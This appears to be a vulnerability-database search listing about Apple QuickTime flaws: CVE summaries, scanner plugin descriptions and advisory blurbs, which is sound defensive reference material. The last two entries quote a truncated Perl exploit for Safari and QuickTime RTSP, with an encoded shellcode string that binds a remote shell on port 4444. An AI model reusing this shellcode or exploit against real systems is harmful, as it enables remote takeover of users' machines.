3526 matches found
CVE-2008-3624: Improper Restriction of Operations within the Bounds of a Memory Buffer
Heap-based buffer overflow in Apple QuickTime before 7.5.5 allows remote attackers to execute arbitrary code or cause a denial of service application crash via a QuickTime Virtual Reality QTVR movie file with crafted panorama atoms...
CVE-2008-3626: Improper Restriction of Operations within the Bounds of a Memory Buffer
The CallComponentFunctionWithStorage function in Apple QuickTime before 7.5.5 does not properly handle a large entry in the samplesizetable in STSZ atoms, which allows remote attackers to execute arbitrary code or cause a denial of service memory corruption and application crash via a crafted mov...
QuickTime < 7.5.5 Multiple Vulnerabilities (Windows)
The version of QuickTime installed on the remote Windows host is older than 7.5.5. Such versions contain several vulnerabilities : - An integer overflow in QuickTime's handling of PICT images may lead to an application crash or arbitrary code execution CVE-2008-3614. - An uninitialized memory...
QuickTime < 7.5.5 Multiple Vulnerabilities (Mac OS X)
The version of QuickTime installed on the remote Mac OS X host is older than 7.5.5. Such versions contain several vulnerabilities : - Heap and stack-based buffer overflows in the handling of panorama atoms in QTVR QuickTime Virtual Reality movie files could lead to an application crash or arbitra...
Apple QuickTime STSZ Atom Parsing Heap Corruption Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the handling of STSZ...
Apple QuickTime Player H.264 Parsing Heap Corruption Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the parsing of MP4...
Apple QuickTime AVC1 Atom Parsing Heap Overflow Vulnerability
This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime Player. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the parsing of AVC1...
Apple QuickTime IV32 Codec Parsing Stack Overflow Vulnerability
This vulnerability allows attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of QuickTim...
Apple QuickTime MDAT Frame Parsing Memory Corruption Vulnerability
This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Apple QuickTime. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists in the parsing of mov...
FreeBSD Ports: DarwinStreamingServer
The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
FreeBSD Ports: firefox
The remote host is missing an update to the system as announced in the referenced advisory. SPDX-FileCopyrightText: 2008 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only...
CVE-2008-1739
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
Memory corruption
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
CVE-2008-1739
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
CVE-2008-1739
Apple QuickTime before 7.4.5 is affected by CVE-2008-1739. The flaw allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via crafted ftyp atoms in a movie file, triggering memory corruption. Affected component: QuickTime parsing of ftyp atoms in MP4/MOV...
CVE-2008-1739: Undefined Security Weakness
Apple QuickTime before 7.4.5 allows remote attackers to cause a denial of service crash and possibly execute arbitrary code via crafted ftyp atoms in a movie file, which triggers memory corruption...
quickbite.pl.txt
!/usr/bin/perl quickbite.pl Safari + Quicktime 8080; $shellcode = "%uc031%u6850%u02ff%u5c11%ue789%u6a50%u6a01%u6a02%ub010%ucd61%u5780%u5050%u686a%ucd58%u8980%uec47%u6ab0%u80cd%u1eb0%u80cd%u5050%u5a6a%ucd58%uff80%ue44f%uf679%u6850%u2f2f%u6873%u2f68%u6962%u896e%u50e3%u5454%u5053%u3bb0%u80cd"; $buf ...
Safari + Quicktime <= 7.3 RTSP Content-Type Remote BOF Exploit
No description provided by source. !/usr/bin/perl quickbite.pl Safari + Quicktime = 7.3 RTSP Content-Type overflow exploit for Mac OS X Intel Tested with OS X 10.4. On victim, browse to http://server:8080/ Binds shell on port 4444. by krafty greets to sk, halvar, grugq, and all the ethnical hacke...
